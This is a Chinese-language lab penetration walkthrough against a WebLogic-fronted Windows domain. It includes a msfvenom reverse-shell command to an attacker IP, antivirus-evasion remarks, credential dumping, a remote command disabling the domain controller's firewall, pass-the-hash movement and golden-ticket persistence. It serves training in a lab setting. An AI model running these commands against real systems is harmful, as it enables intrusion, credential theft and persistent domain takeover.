本文首发于先知社区:https://xz.aliyun.com/t/9851
记一次靶场渗透。
环境搭建
web:
外网ip - 192.168.10.80
内网ip - 10.10.10.80
PC:
外网ip - 192.168.10.201
内网ip - 10.10.10.201
DC:
内网ip - 10.10.10.10
web、PC、DC都处于同一域环境内,需要手动开启weblogic服务
外网
端口探测
首先nmap扫描一下端口发现了1433端口判断是sql server,另外一个特征端口就是7001端口,判断为weblogic端口
1 | nmap -T4 -sC -sV 192.168.10.80 |
weblogic getshell
这里访问一下weblogic所在的7001端口,注意这里直接访问7001端口会显示404,这里直接访问192.168.10.80:7001/console
即可
首先尝试一下控制台弱口令weblogic weblogic
无果
这里直接使用weblogic漏洞检测工具,也可以使用weblogic批量扫描脚本去扫描,扫描发现存在几个反序列化漏洞
这里我是用CVE-2017-10271
进行命令执行发现为administrator权限
查看ip情况为双网卡,初步判断有域环境
tasklist /svc
查看一下进程发现了360主动防御,那么后面的马就需要做免杀处理
这里直接使用漏扫工具中自带的jsp马先上传进行尝试
访问一下能够访问到,那么已经上传成功
使用蚁剑尝试连接失败,这里我觉得可能是有360的原因,而jsp的马在蚁剑默认是没有加密解密器的,所以应该是被360给拦了
这里我换一个冰蝎的马传上去试试
使用冰蝎连接成功
初步做一下信息搜集,发现DNS为de1ay.com
,应该这个就是域的名称
上线msf
这里首先生成一个msf的马
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.30 lport=4444 -f exe > msf.exe |
使用冰蝎上传到靶机上
执行一下,这里因为有360的原因使用msf的原生马是不能够上线的,会被360拦截
这里我后面使用了一下混淆进行了初步免杀处理,然后上线到了msf
内网渗透
socks代理扫描内网
这里首先添加一个10.10.10.0/24段的路由,方便后续操作
1 | route add 10.10.10.0 255.255.255.0 1 |
使用socks路由把msf带入内网,需要在proxychains.conf里面添加路由
1 | use auxiliary/server/socks4a |
这时候就可以使用msf中的udp_probe
模块对10.10.10.0/24段的主机进行信息搜集,这里发现10段还有另外两台主机,10.10.10.10和10.10.10.201
这里使用常规的nmap对这两个ip进行端口扫描发现什么都没有扫出来,那么这里应该是有防火墙的原因
ms17-010
这里使用ms17-010模块首先对内网进行扫描一下能不能够通过漏洞直接进行横向移动,注意因为有360的原因这里线程不要调的太高
1 | use auxiliary/scanner/smb/smb_ms17_010 |
扫描完成后发现这里两台主机都可以利用永恒之蓝,就结束了(吗?)
这里直接利用exp打一波,发现都打失败了,应该是没有开匿名管道的原因
1 | use exploit/windows/smb/ms17_010_eternalblue |
msf派生cs会话
这里我在鼓捣半天之后使用getuid
查看了一下当前的权限发现还只是一个user权限,也使用不了mimikatz,因为在cs上提权比较方便,这里就直接msf派生个对话给cs,在cs上进行提权操作
使用payload-inject
把msf的对话派生给msf
1 | use exploit/windows/local/payload_inject |
这里在cs创建一个监听host为192.168.1.5
,port为5555接受msf的对话
查看下内网ip的信息,dns为10.10.10.10,那么10.10.10.10大概率为域控
查看一下主机信息,证实了猜想
1 | net computers |
权限提升
这里因为是一个user权限首先要进行提权操作,使用systeminfo
查看补丁情况发现只打了3个补丁,那么可以提权的exp有很多
这里使用ms14-058
直接提权到system
使用logonpasswords
导出密码
看到这里有一个SID为500的域管的帐号,那么直接可以用psexec进行hash传递横向移动
横向移动
这里首先扫描一下网段下的主机
和基本判断的一致,内网下有3台主机
这里使用80主机进行psexec操作
这里psexec执行了但是没有主机上线,这里想起来psexec是需要在防火墙关闭的情况下才能够进行pth的,所以这里尝试一下先ipc连接关闭防火墙后再进行psexec横向移动
使用ipc与10.10.10.10进行连接
1 | shell net use \\10.10.10.10\ipc$ 1qaz@WSX /user:Administrator |
使用sc创建计划任务立即执行关闭域控防火墙
1 | sc \\10.10.10.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" |
这里关闭之后psexec还是没有成功,是因为这里DC只有内网ip,所以这里需要用到web进行中转操作才能够上线cs
这里我用到cs的smb beacon进行流量中转,首先建立监听一个smb beacon
再使用smb beacon进行psexec
即可上线DC
这里因为拿到了域管的帐号,这里也使用psexec的方式上线cs,这里当时可以使用批量pth进行上线
上线成功
权限维持
这里使用到金票进行权限维持
首先hashdump
出krbtgt的hash值
查看一下SID
在web主机上生成金票
可以看到这里dir域控c盘成功